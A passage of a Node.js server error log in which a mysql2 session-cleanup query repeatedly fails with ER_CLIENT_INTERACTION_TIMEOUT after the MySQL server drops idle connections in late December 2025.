    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-27 18:53:07' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-27 19:46:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-27 19:46:07' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-27 22:32:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-27 22:32:07' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-27 22:37:08' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-27 22:37:08' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-28 01:11:28' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-28 01:11:28' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-28 04:42:29' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-28 04:42:29' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-28 05:31:29' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-28 05:31:29' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-28 10:08:29' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-28 10:08:29' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-28 11:41:06' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-28 11:41:06' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-28 13:01:09' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-28 13:01:09' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-28 13:04:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-28 13:04:07' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-28 13:58:09' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-28 13:58:09' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-28 14:24:09' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-28 14:24:09' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-28 15:27:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-28 15:27:07' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-28 15:41:09' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-28 15:41:09' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-28 17:21:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-28 17:21:07' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-28 17:41:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-28 17:41:07' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-28 17:59:08' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-28 17:59:08' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-28 19:01:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-28 19:01:30' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-28 20:15:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-28 20:15:30' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-28 23:23:10' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
